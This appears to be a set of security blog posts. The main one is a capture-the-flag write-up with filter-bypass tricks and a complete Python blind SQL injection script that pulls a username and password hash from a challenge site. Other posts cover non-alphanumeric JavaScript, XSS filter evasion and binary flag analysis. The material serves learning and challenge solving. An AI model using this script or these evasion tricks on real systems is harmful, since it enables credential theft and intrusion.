Saturday, July 9, 2011

OWASP Pre-Conference Challenge #2 - Blind Sqli Script

The OWASP Pre-Conference Challenge #2 was definately tough, so congraulations to the winners!!
The full writeup on solving the challenge can be viewed at : http://devtrixlabs.com/blog/2011/07/appsecusa-2011-pre-challenge-2-walk-through/

I wrote a script to perform the blind sql injection to extract the name and password based on userlevel, using pretty simple sql statements.

The script is very straight forward, and I think it will be useful for anyone interested to learn more about python and blind sql injection.

Before we jump into the script, the challenge web application can still be accessed at: http://challenge.appsecusa.org.  The vulnerability exists in the cart.php where upon pressing the update button, the POST form variable qtyX (X is a integer value) is subject to blind sql injection.

There are few filters in the application that prevent straight forward sql injection:

1. all spaces are replaced by underscore
2. commas are separated into different query
3. dots are replaced by underscore
4. the word qty is removed
5. quotes are escaped

The counter to the above are the following:

1. use comments /**/ to represent spaces
2. don't use commas
3. don't use dots
4. qtqtyy will remove the qty in the middle leaving the outside to become qty
5. don't use quotes

The vulnerable SQL statement is: SELECT * FROM books WHERE id= [injection]

A valid sql injection query is the following:

SELECT/**/COUNT(id)/**/FROM/**/users/**/WHERE/**/length(name)=1

Since blind sql injection is to leverage the different in response of a page based on the boolean of the query logic, I decided to use the cart's item to distinguish a 'True' query and 'False' query.

By default, a 'False' query would return a COUNT(id) of 0, so if i was to add 1 to that value, it will give me the first item on the cart page : OWASP CLASP v1.2

If my query is successful, I would get a COUNT(id) > 0 so if i was to add 1 to that value, it will NOT be OWASP CLASP v1.2

For each userlevel greater than 0, there is only 1 name and password for this challenge application.  Therefore, at most I can get is COUNT(id) = 1 for each userlevel.  So if my query responded with an item OWASP Top 10 - 2010 Edition than my query is 'True'.


Unfortunately, the application has a filter for +.  So another representation of + is to use x -- y.  Luckily, the application accepts - and so my query is:

1--SELECT/**/COUNT(id)/**/FROM/**/users/**/WHERE/**/length(name)=1

The above query will return me a 1 -> false (OWASP CLASP v1.2) or 2 -> true (OWASP Top 10 -2010 Edition)

So the exploit is the following:

qty1--SELECT/**/COUNT(id)/**/FROM/**/users/**/WHERE/**/length(name)=1

So the way to extract username and password is the following:


1. Find the length of the name

2. For each character in name with the length discovered above, brute force it with a-z until a match occurs.  repeat for all characters in name

  - Since commas is not allowed, I can access each character of a field using mid(name from POSITION for 1)

  - Since quotes are not allowed, I can represent alphabet with char(number), such as char(97) equals 'a'

  - Therefore mid(name from POS for 1)=char(num) is the technique used to extract values yet circumvent the filters

3. For each character in password based on the name and length of name discovered above, brute force it with 0-9, and a-f unitl a match occurs.  repeat for all characters in password (length = 32)

   - Uses the same tactics to retrieve values as in Step 2


For the actual queries I used, please check out the script below:



Enjoy!
'''
OWASP Pre Conference Challenge #2 Blind SQL Injection in cart.php
Johnny (MisterU)
'''
import urllib
import urllib2
import cookielib


url = "http://challenge.appsecusa.org/cart.php"
key = "OWASP Top 10 - 2010 Edition"
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj), urllib2.HTTPHandler())
   
def BuildSqlStatement(sqlStatement):
    # any spaces will be replaced by underscore, so use comment trick to create space
    # use (1--value) to get (1+value) to determine success or failure
    payload = "qty1--"+urllib.quote_plus(sqlStatement.replace(" ", "/**/"))
    return payload
def AddCart():
    querystring = urllib.urlencode({'action':'add', 'id':'1'})
    request = urllib2.Request(url + "?%s" % querystring)
    response = opener.open(request)
    response.close()
def UpdateCart(sqlStatement):
    querystring = urllib.urlencode({'action':'update'})
    form =  BuildSqlStatement(sqlStatement)+'=1'
    request = urllib2.Request(url + "?%s" % querystring, form)
    for cookie in cj:
        request.add_header(cookie.name, cookie.value)
    response = opener.open(request)
    if key in response.read(): #the key is when qty2
        response.close()
        return True
    response.close()
    return False
def GetNameLength(userlevel):
    length = 1
    while True:
        cj.clear() #clear the cookie to remove previous session
        AddCart()
        sqli = "(select count(id) from users where userlevel="+str(userlevel)+" and length(name)="+str(length)+")"
        print sqli
        success = UpdateCart(sqli)
        if success:
            return length
        length+=1


def GetName(userlevel, length):
   
    name = ""
    for i in range(length):
        for alpha in range(97, 123, 1):
            cj.clear() #clear the cookie to remove previous session
            AddCart()
            sqli = "(select count(id) from users where userlevel="+str(userlevel)+" and length(name)="+str(length)+" and mid(name from "+ str(i+1) +" for 1)=char("+ str(alpha) +"))"
            print sqli
            success = UpdateCart(sqli)
            if success:
                name += chr(alpha)
                print name
                break
    return name
def GetPassword(userlevel, name, hashbrown):
    length = 32
    password = ""
    hexName = "0x" #Can't use quote for string, so use hex representation
   
    for c in name:
        hexName += str(hex(ord(c))).replace("0x","")
       
    for i in range(length):
        for value in hashbrown:
            cj.clear()
            AddCart()
            sqli = "(select count(id) from users where userlevel="+ str(userlevel)+" and name="+ hexName +" and mid(password from "+ str(i+1) +" for 1)=char("+ str(value) +"))"
            print sqli
            success = UpdateCart(sqli)
            if success:
                password += chr(value)
                print password
                break
    return password
if __name__ == "__main__":
   
    userlevel = 2
    print "Retrieving information on userlevel -> " + str(userlevel)
    length = GetNameLength(userlevel)
    print "Length -> " + str(length)
    name = GetName(userlevel, length)
    print "Name -> " + name
    hashbrown = [ord(str(num)) for num in range(10)] #build the 0-9,a-f table
    hashbrown.extend([alpha for alpha in range(ord('a'),ord('g'),1)])
    password = GetPassword(userlevel, name, hashbrown)
    print "Password -> " + password
    print
    print
    print 'Owasp pre-conference challenge 2 - blind sql injection cart.php'
    print '---------------------------------------------------------------'
    print 'Userlevel -> ' + str(userlevel)
    print 'Name -> ' + name
    print 'Password -> ' + password
   


   
   
   
   
   
   
   
  

Wednesday, June 15, 2011

Idea for crafting non user interaction file upload without CORS

Recently encountered an awsome blog: http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html#more.  The author describe how he can use javascript to craft the HTTP POST Request such that an attacker can "upload" malicious content on the victim's behalf.  More importantly, he extended it to HTML5 CORS where he can pull this off without having the attack script to be in the same domain as the victim.  I thought this is pretty amazing!

Anyway, I have an idea that I am not sure if it'll work or not, or if it has been discussed/brought up already.
The idea is to do the same HTML5 CORS Javascript file upload without the HTML5 CORS capability.  How so?  Leveraging HTML Form POST request with HTTP Request Smuggling.  So the idea is to create a HTML form with a text area, and inside the text area you craft an HTTP POST request including all the multipart/form-data item and content (including the crafted upload content).  I am not sure if this will work, but seems feasible.  The only downfall is that not HTTP authentication or custom header that the browser ususally provides will be included.  Unless if it is possible to do a "302 redirect POST", but i doubt that is can happen... 

Thursday, May 26, 2011

Cookie Jacking

I recently read an interesting method to steal cookies leveraging an IE 0 day bug where it allows cross domain access to local cookie files, and then extracting the content through the use of HTML 5 drag & drop.
The article can be viewed here: http://sites.google.com/site/tentacoloviola/cookiejacking

Wednesday, March 9, 2011

Non-AlphaNumerical Script Part 2

So I have learn some additional things regarding non-alpha numerical script.

Additional ways to run a script expressed as a string.

eval("expression");
Function("expression")();
setTimeout("expression",x);
setInterval("expression",x);

//0.constructor == Number()
//0.constructor.constructor == Function()

From previous blog,
+[] == 0 // /unary + tries to convert its operand to number
~[] == -1 (bitwise not with any non-numerical value == -1)
((+[])["constructor"]["constructor"])("expression")();
The "constructor" string can be created through the usage of strings from "true", "false", and etc.  Such as ![]+"" == false, and etc.

Another thing I learned is that the Array.prototype.sort() returns and window object.  So one can form an alert through something similar:

a = [], b = a["sort"], c = b(); // window object
d = c["alert"], d("string");

Other things I didn't know, not related to Alpha-Numerical Javascript, but against filters.
Some XSS filter prevents single and double quotes. 

1. Refer to an external script
2. Use String.fromCharCode();
3. alert(this.attribute_in_an_element)
4. forward slash regex syntax: /x/.source


Additional things I didn't know:

["x","y"].sort(alert);  ["x","y"].sort(confirm) will display alert and prompt with the value "x".

Tuesday, January 4, 2011

Comparing Operands

When reverse engineering binary, it is quite often we encounter branch instructions such as cmp and test.  The idea of comparison is really performing a subtraction of the 2nd opperand against the 1st opperand and dropping the result and setting the sign flag, overflow flag, signed flag, and zero flag.  Today I want to share how to determine the potential value of the 1st and 2nd opperand by looking at the flags.  It is actually very simple.

for signed comparison
let 1st opperand = x and 2nd opperand = y
let cmp x y == x-y

zero flag is set when two opprand are identical in value. zero flag = 1

sign flag is set when the result of x - y is negative.  Therefore x < y, sign flag = 1

to extract anything useful from the overflow flag, we have to also look at the sign flag as well.  When the overflow flag is set, it is notifying us the result of x - y have result in an overflow.  The fact that sign flag is 0, this tells us the result of x - y is positive.  In order to get an overflow positive value, it must be -x + -y such that it integer wrapped around to positive.  Therefore -x - y can result in the overflow, and this lets us know the 1st opprand is negative, and the 2nd opprand is positive.

so if we have both overflow flag = 1, and sign flag = 1, then it is telling us x - y resulted in a negative value, and knowing the overflow flag is set, we know that x + y such that it wrapped around to negative.  So therefore, y must be negative, to achieve x - -y == x + y.  Therefore, this tells us 1st opprand is positive, and 2nd opprand is negative.

for unsigned comparison (both opprand contains only positive values)

if zero flag is set, then opprand 1 and opprand 2 are equal.

if carry flag is 0 (no overflow occured for unsigned), and zero flag is 0, then it tells us x - y resulted in a positive value.  So the 1st opprand must be bigger than 2nd opprand, X > Y to achieve this result.

if carry flag is 1 (overflow occured for unsigned), and zero flag is 0, it tells us a small X - a large Y, such as 1 - 10000000000 would result in a negative value, but since there is no negative values for unsigned, it gets wrapped around starting at 0, so therefore X < Y.

Wednesday, December 1, 2010

Non-AlphaNumeric Javascript

This is not a new topic, but incase people didn't know, it is possible to craft javascript using only symbols such as : "![]{}+" and etc.

The idea is to take the returned value from an expression and collect the alphabet and/or numerical values from it.

So for starter, lets create some numerical value using symbols.

+[]      ->      0  (it seems the plus sign forces the expression into integer)
So you can do something like
$ = +[]  // $ == 0
++$ //$ == 1
--$ //$ == 0
So you can generate all the numerical values you want using the above method.  There are other ways to generate numerical value, such as ~[]   ->  -1. 

Great, now to generate strings, we will leverage the returned value of an expression.

![]  ->  Boolean False
!![]  ->  Boolean True.

![] + "" -> false ( + "" forces the return expression into a String)
!![] + "" -> true

So now to collect specific alphabet, (this works in FF but not IE =( ), is access the string as an array.
(![] + "")[0] == f, (![] + "")[1] == a, and etc.  So you can take advantage using symbols to generate numerical value and using it as index to access a character in the string.

Other ways to access other alphabets can be ({} + "") == [Object object].  So you can extract the text within it using indexing as well.  So again, the main idea is to extract the return value from an expression.  As there are many different return values, it is possible to build functional javascript using pure symbols.

Check the following link for more information on non alpha numerical Javascript:

http://sla.ckers.org/forum/read.php?24,33349
http://extraexploit.blogspot.com/2010/10/dollars-javascript-code-yet-another.html

Sunday, November 21, 2010

Something I learn from audit

When auditing a subject, the first thing I want to know is who have ownership of it.  I have done a hardware and software inventory audit for my institution and while I identified many exceptions, there were no departments that claim ownership and management of inventory.  I ended up chasing tail over and over and wasted precious time reviewing many systems that had inventory information but does not serve as the official collection of inventory maintained for the institution. Therefore, identifying the ownership of a subject should be one of the first thing to seek for.